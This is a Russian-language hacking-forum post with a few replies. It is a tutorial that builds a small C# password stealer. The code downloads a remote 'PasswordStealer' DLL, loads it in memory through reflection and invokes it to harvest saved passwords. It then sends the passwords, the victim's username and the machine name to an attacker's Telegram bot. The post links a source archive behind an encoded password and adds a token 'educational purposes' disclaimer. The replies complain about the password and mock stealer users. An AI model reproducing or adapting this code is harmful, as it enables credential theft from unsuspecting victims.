Привет, сегодня сделаем ******* из говна и палок который будет догружать DLL в память и вызывать функцию, которая будет вытаскивать пароли и отправлять нам в телегу. Особенный он тем, что весит всего 9кб! Будем юзать пространство имен System.Reflections ( Необходимо создать проект "Консольное приложение (.Net Framework)" ) public static byte[] GetLibrary() { byte[] dll = new byte[0]; string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll"; using (var client = new WebClient()) { try { dll = client.DownloadData(url); } catch (WebException) { Environment.Exit(1); } } return dll; } Код public static byte[] GetLibrary() { byte[] dll = new byte[0]; string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll"; using (var client = new WebClient()) { try { dll = client.DownloadData(url); } catch (WebException) { Environment.Exit(1); } } return dll; } Теперь напишем функцию GetPasswords которая: принимает байты дллки, загружает её, вызывает функцию оттуда, и возвращает пароли нам. public static string GetPasswords(byte[] dll) { // Загрузить дллку Assembly asm = Assembly.Load(dll); // Создать экземпляр dynamic instance = Activator.CreateInstance( asm.GetType("PasswordStealer.*******")); // Получить функцию восстановления паролей из дллки MethodInfo runMethod = instance.GetType().GetMethod("Run", BindingFlags.Instance | BindingFlags.Public); // Вызов метода восстановления паролей string passwords = (string)runMethod.Invoke( instance, new object[] { }); // Возвращаем пассы return passwords; } Код public static string GetPasswords(byte[] dll) { // Загрузить дллку Assembly asm = Assembly.Load(dll); // Создать экземпляр dynamic instance = Activator.CreateInstance( asm.GetType("PasswordStealer.*******")); // Получить функцию восстановления паролей из дллки MethodInfo runMethod = instance.GetType().GetMethod("Run", BindingFlags.Instance | BindingFlags.Public); // Вызов метода восстановления паролей string passwords = (string)runMethod.Invoke( instance, new object[] { }); // Возвращаем пассы return passwords; } Функция UploadReport будет отправлять пароли в телегу public static bool UploadReport(string passwords) { string report = $"*New report*\n" + $"*UserName:* {Environment.UserName}\n" + $"*CompName:* {Environment.MachineName}\n\n" + $"*Passwords:* \n{passwords}"; string telegram_api = "https://api.telegram.org/bot"; using (var client = new WebClient()) { try { string response = client.DownloadString( telegram_api + "<Your_Token>" + "/sendMessage?chat_id=<CHAT_ID>"+ "&text=" + report + "&disable_web_page_preview=True" + "&parse_mode=Markdown" ); return response.Contains("\"ok\":true,"); } catch (WebException) { return false; } } } Код public static bool UploadReport(string passwords) { string report = $"*New report*\n" + $"*UserName:* {Environment.UserName}\n" + $"*CompName:* {Environment.MachineName}\n\n" + $"*Passwords:* \n{passwords}"; string telegram_api = "https://api.telegram.org/bot"; using (var client = new WebClient()) { try { string response = client.DownloadString( telegram_api + "<Your_Token>" + "/sendMessage?chat_id=<CHAT_ID>"+ "&text=" + report + "&disable_web_page_preview=True" + "&parse_mode=Markdown" ); return response.Contains("\"ok\":true,"); } catch (WebException) { return false; } } } И главная функция: static void Main()[/B][/LEFT][/B][/LEFT][/B][/LEFT] [B] [LEFT][B] [LEFT][B][LEFT]{ // Это надо для правильной отправки ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3; byte[] dll = GetLibrary(); // Скачать байты dll string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей UploadReport(pwd); // Отправляем пароли боту Telegram } Код static void Main()[/B][/LEFT][/B][/LEFT][/B][/LEFT] [B] [LEFT][B] [LEFT][B][LEFT]{ // Это надо для правильной отправки ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3; byte[] dll = GetLibrary(); // Скачать байты dll string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей UploadReport(pwd); // Отправляем пароли боту Telegram } Пример работы: Сурсы https://anonfiles.com/12k1m019pf/Stealer_rar Пароль Паролем служит текст oG91lwnpkRF6k2Fi, защифрованный "Шифром Цезаря" со сдвигом в 10 единиц и полученный текст это Base64. Удачи! Дисклеймер Статья предоставлена исключительно в ознакомительных целях! Я не несу ответственность за ваши действия.
zellun, 20 декабря День работника органов безопасности Российской Федерации 2020 (Россия)| Амнистия. В честь праздника
блять епта какой пароль нахуй епта я нахуй сидел 20 минут расшифровывал получилось yQ91vgxzuBP6u2Ps и нихуя не подходит
ANALWORM, где найти клоунов которые сторм кити, елешон юзают? Интересно где такие водятся. Вчера все читы с ютуба на кс го скачал, 0 телеграмм *******ов